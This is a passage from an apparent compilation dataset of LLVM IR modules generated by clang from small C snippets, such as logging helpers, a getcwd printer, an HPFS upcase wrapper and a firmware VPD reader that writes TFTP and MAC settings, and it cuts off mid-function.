"tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpaatm31sy.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @sputc(i8 noundef zeroext %0, i32 noundef %1) #0 { %3 = alloca i8, align 1 %4 = alloca i32, align 4 store i8 %0, ptr %3, align 1 store i32 %1, ptr %4, align 4 %5 = load i32, ptr %4, align 4 %6 = call i32 @write(i32 noundef %5, ptr noundef %3, i32 noundef 1) ret void } declare i32 @write(i32 noundef, ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpbsbgiwl0.c' source_filename = "/tmp/tmpbsbgiwl0.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [49 x i8] c"Error in line: %d \0A => Identifier %s Duplicated!\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @ErrorPrump_IdDuplicated(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 store i32 %0, ptr %3, align 4 store ptr %1, ptr %4, align 8 %5 = load i32, ptr %3, align 4 %6 = load ptr, ptr %4, align 8 %7 = call i32 @printf(ptr noundef @.str, i32 noundef %5, ptr noundef %6) ret void } declare i32 @printf(ptr noundef, i32 noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpbsbgiwl0.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [49 x i8] c"Error in line: %d \0A => Identifier %s Duplicated!\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @ErrorPrump_IdDuplicated(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 store i32 %0, ptr %3, align 4 store ptr %1, ptr %4, align 8 %5 = load i32, ptr %3, align 4 %6 = load ptr, ptr %4, align 8 %7 = call i32 @printf(ptr noundef @.str, i32 noundef %5, ptr noundef %6) ret void } declare i32 @printf(ptr noundef, i32 noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpwvjaxabw.c' source_filename = "/tmp/tmpwvjaxabw.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @PATH_MAX = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [7 x i8] c"getcwd\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca i64, align 8 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %8 = load i32, ptr @PATH_MAX, align 4 %9 = zext i32 %8 to i64 %10 = call ptr @llvm.stacksave() store ptr %10, ptr %6, align 8 %11 = alloca i8, i64 %9, align 16 store i64 %9, ptr %7, align 8 %12 = load i32, ptr @PATH_MAX, align 4 %13 = call i32 @getcwd(ptr noundef %11, i32 noundef %12) %14 = icmp ne i32 %13, 0 br i1 %14, label %18, label %15 15: ; preds = %2 %16 = call i32 @perror(ptr noundef @.str) %17 = call i32 @exit(i32 noundef 1) #4 unreachable 18: ; preds = %2 %19 = call i32 @puts(ptr noundef %11) %20 = call i32 @exit(i32 noundef 0) #4 unreachable } ; Function Attrs: nocallback nofree nosync nounwind willreturn declare ptr @llvm.stacksave() #1 declare i32 @getcwd(ptr noundef, i32 noundef) #2 declare i32 @perror(ptr noundef) #2 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #3 declare i32 @puts(ptr noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nosync nounwind willreturn } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #4 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpwvjaxabw.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @PATH_MAX = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [7 x i8] c"getcwd\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca i64, align 8 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %8 = load i32, ptr @PATH_MAX, align 4 %9 = zext i32 %8 to i64 %10 = call ptr @llvm.stacksave() store ptr %10, ptr %6, align 8 %11 = alloca i8, i64 %9, align 16 store i64 %9, ptr %7, align 8 %12 = load i32, ptr @PATH_MAX, align 4 %13 = call i32 @getcwd(ptr noundef %11, i32 noundef %12) %14 = icmp ne i32 %13, 0 br i1 %14, label %18, label %15 15: ; preds = %2 %16 = call i32 @perror(ptr noundef @.str) %17 = call i32 @exit(i32 noundef 1) #4 unreachable 18: ; preds = %2 %19 = call i32 @puts(ptr noundef %11) %20 = call i32 @exit(i32 noundef 0) #4 unreachable } ; Function Attrs: nocallback nofree nosync nounwind willreturn declare ptr @llvm.stacksave() #1 declare i32 @getcwd(ptr noundef, i32 noundef) #2 declare i32 @perror(ptr noundef) #2 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #3 declare i32 @puts(ptr noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nosync nounwind willreturn } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #4 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp9ju4749k.c' source_filename = "/tmp/tmp9ju4749k.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [59 x i8] c"%3d: node %d sends to %d pkt %d of msg %d (src=%d,dst=%d)\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @logPktSend(i32 noundef %0, i32 noundef %1, i32 noundef %2, i32 noundef %3, i32 noundef %4, i32 noundef %5, i32 noundef %6) #0 { %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca i32, align 4 %11 = alloca i32, align 4 %12 = alloca i32, align 4 %13 = alloca i32, align 4 %14 = alloca i32, align 4 store i32 %0, ptr %8, align 4 store i32 %1, ptr %9, align 4 store i32 %2, ptr %10, align 4 store i32 %3, ptr %11, align 4 store i32 %4, ptr %12, align 4 store i32 %5, ptr %13, align 4 store i32 %6, ptr %14, align 4 %15 = load i32, ptr %8, align 4 %16 = load i32, ptr %9, align 4 %17 = load i32, ptr %10, align 4 %18 = load i32, ptr %14, align 4 %19 = load i32, ptr %13, align 4 %20 = load i32, ptr %11, align 4 %21 = load i32, ptr %12, align 4 %22 = call i32 @printf(ptr noundef @.str, i32 noundef %15, i32 noundef %16, i32 noundef %17, i32 noundef %18, i32 noundef %19, i32 noundef %20, i32 noundef %21) ret void } declare i32 @printf(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp9ju4749k.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [59 x i8] c"%3d: node %d sends to %d pkt %d of msg %d (src=%d,dst=%d)\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @logPktSend(i32 noundef %0, i32 noundef %1, i32 noundef %2, i32 noundef %3, i32 noundef %4, i32 noundef %5, i32 noundef %6) #0 { %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca i32, align 4 %11 = alloca i32, align 4 %12 = alloca i32, align 4 %13 = alloca i32, align 4 %14 = alloca i32, align 4 store i32 %0, ptr %8, align 4 store i32 %1, ptr %9, align 4 store i32 %2, ptr %10, align 4 store i32 %3, ptr %11, align 4 store i32 %4, ptr %12, align 4 store i32 %5, ptr %13, align 4 store i32 %6, ptr %14, align 4 %15 = load i32, ptr %8, align 4 %16 = load i32, ptr %9, align 4 %17 = load i32, ptr %10, align 4 %18 = load i32, ptr %14, align 4 %19 = load i32, ptr %13, align 4 %20 = load i32, ptr %11, align 4 %21 = load i32, ptr %12, align 4 %22 = call i32 @printf(ptr noundef @.str, i32 noundef %15, i32 noundef %16, i32 noundef %17, i32 noundef %18, i32 noundef %19, i32 noundef %20, i32 noundef %21) ret void } declare i32 @printf(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp5ez0jp6u.c' source_filename = "/tmp/tmp5ez0jp6u.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [10 x i8] c"Base: %d\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @test_cc(i32 noundef %0, i32 noundef %1, i32 noundef %2, i32 noundef %3) #0 { %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 store i32 %0, ptr %5, align 4 store i32 %1, ptr %6, align 4 store i32 %2, ptr %7, align 4 store i32 %3, ptr %8, align 4 %10 = load i32, ptr %5, align 4 %11 = load i32, ptr %6, align 4 %12 = add nsw i32 %10, %11 %13 = load i32, ptr %7, align 4 %14 = add nsw i32 %12, %13 %15 = load i32, ptr %8, align 4 %16 = add nsw i32 %14, %15 store i32 %16, ptr %9, align 4 %17 = load i32, ptr %9, align 4 %18 = call i32 @printf(ptr noundef @.str, i32 noundef %17) %19 = load i32, ptr %9, align 4 ret i32 %19 } declare i32 @printf(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp5ez0jp6u.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [10 x i8] c"Base: %d\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @test_cc(i32 noundef %0, i32 noundef %1, i32 noundef %2, i32 noundef %3) #0 { %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 store i32 %0, ptr %5, align 4 store i32 %1, ptr %6, align 4 store i32 %2, ptr %7, align 4 store i32 %3, ptr %8, align 4 %10 = load i32, ptr %5, align 4 %11 = load i32, ptr %6, align 4 %12 = add nsw i32 %10, %11 %13 = load i32, ptr %7, align 4 %14 = add nsw i32 %12, %13 %15 = load i32, ptr %8, align 4 %16 = add nsw i32 %14, %15 store i32 %16, ptr %9, align 4 %17 = load i32, ptr %9, align 4 %18 = call i32 @printf(ptr noundef @.str, i32 noundef %17) %19 = load i32, ptr %9, align 4 ret i32 %19 } declare i32 @printf(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpwugegasn.c' source_filename = "/tmp/tmpwugegasn.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpwugegasn.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpw1fqkl8z.c' source_filename = "/tmp/tmpw1fqkl8z.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpw1fqkl8z.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp8wrsnn9o.c' source_filename = "/tmp/tmp8wrsnn9o.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @hpfs_char_to_upper_linux(i32 noundef %0) #0 { %2 = alloca i32, align 4 store i32 %0, ptr %2, align 4 %3 = load i32, ptr %2, align 4 %4 = call i32 @cp850_to_latin1(i32 noundef %3) %5 = call i32 @latin1_upcase(i32 noundef %4) ret i32 %5 } declare i32 @latin1_upcase(i32 noundef) #1 declare i32 @cp850_to_latin1(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp8wrsnn9o.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @hpfs_char_to_upper_linux(i32 noundef %0) #0 { %2 = alloca i32, align 4 store i32 %0, ptr %2, align 4 %3 = load i32, ptr %2, align 4 %4 = call i32 @cp850_to_latin1(i32 noundef %3) %5 = call i32 @latin1_upcase(i32 noundef %4) ret i32 %5 } declare i32 @latin1_upcase(i32 noundef) #1 declare i32 @cp850_to_latin1(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpo5ahg9fg.c' source_filename = "/tmp/tmpo5ahg9fg.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"ht\00", align 1 @.str.1 = private unnamed_addr constant [10 x i8] c"/proc/mtd\00", align 1 @O_RDONLY = dso_local global i32 0, align 4 @.str.2 = private unnamed_addr constant [2 x i8] c"r\00", align 1 @.str.3 = private unnamed_addr constant [5 x i8] c" VPD\00", align 1 @.str.4 = private unnamed_addr constant [11 x i8] c"/dev/mtd%d\00", align 1 @SEEK_SET = dso_local global i32 0, align 4 @.str.5 = private unnamed_addr constant [17 x i8] c"/etc/tftp.config\00", align 1 @.str.6 = private unnamed_addr constant [2 x i8] c"w\00", align 1 @.str.7 = private unnamed_addr constant [18 x i8] c"TFTP=%d.%d.%d.%d\0A\00", align 1 @.str.8 = private unnamed_addr constant [41 x i8] c"MAC=%2.2X:%2.2X:%2.2X:%2.2X:%2.2X:%2.2X\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @vpdread_main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca [4 x i8], align 1 %10 = alloca [6 x i8], align 1 %11 = alloca [64 x i8], align 16 %12 = alloca ptr, align 8 %13 = alloca i32, align 4 %14 = alloca i32, align 4 %15 = alloca [64 x i8], align 16 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 store i32 0, ptr %7, align 4 store i32 0, ptr %8, align 4 store i32 -1, ptr %14, align 4 %16 = load i32, ptr %4, align 4 %17 = icmp eq i32 %16, 1 br i1 %17, label %18, label %24 18: ; preds = %2 %19 = load ptr, ptr %5, align 8 %20 = getelementptr inbounds ptr, ptr %19, i64 0 %21 = load ptr, ptr %20, align 8 %22 = call i32 @print_help(ptr noundef %21) %23 = call i32 @exit(i32 noundef 1) #3 unreachable 24: ; preds = %2 br label %25 25: ; preds = %46, %24 %26 = load i32, ptr %4, align 4 %27 = load ptr, ptr %5, align 8 %28 = call i32 @getopt(i32 noundef %26, ptr noundef %27, ptr noundef @.str) store i32 %28, ptr %13, align 4 %29 = icmp ne i32 %28, -1 br i1 %29, label %30, label %47 30: ; preds = %25 %31 = load i32, ptr %13, align 4 switch i32 %31, label %40 [ i32 104, label %32 i32 116, label %38 ] 32: ; preds = %30 %33 = load ptr, ptr %5, align 8 %34 = getelementptr inbounds ptr, ptr %33, i64 0 %35 = load ptr, ptr %34, align 8 %36 = call i32 @print_help(ptr noundef %35) %37 = call i32 @exit(i32 noundef 0) #3 unreachable 38: ; preds = %30 %39 = load i32, ptr %13, align 4 store i32 %39, ptr %14, align 4 br label %46 40: ; preds = %30 %41 = load ptr, ptr %5, align 8 %42 = getelementptr inbounds ptr, ptr %41, i64 0 %43 = load ptr, ptr %42, align 8 %44 = call i32 @print_help(ptr noundef %43) %45 = call i32 @exit(i32 noundef 1) #3 unreachable 46: ; preds = %38 br label %25, !llvm.loop !6 47: ; preds = %25 %48 = load i32, ptr @O_RDONLY, align 4 %49 = call i32 @open(ptr noundef @.str.1, i32 noundef %48) store i32 %49, ptr %6, align 4 %50 = icmp sgt i32 %49, 0 br i1 %50, label %51, label %75 51: ; preds = %47 %52 = load i32, ptr %6, align 4 %53 = call ptr @fdopen(i32 noundef %52, ptr noundef @.str.2) store ptr %53, ptr %12, align 8 %54 = getelementptr inbounds [64 x i8], ptr %15, i64 0, i64 0 %55 = load ptr, ptr %12, align 8 %56 = call ptr @fgets(ptr noundef %54, i32 noundef 64, ptr noundef %55) br label %57 57: ; preds = %67, %51 %58 = getelementptr inbounds [64 x i8], ptr %15, i64 0, i64 0 %59 = load ptr, ptr %12, align 8 %60 = call ptr @fgets(ptr noundef %58, i32 noundef 64, ptr noundef %59) %61 = icmp ne ptr %60, null br i1 %61, 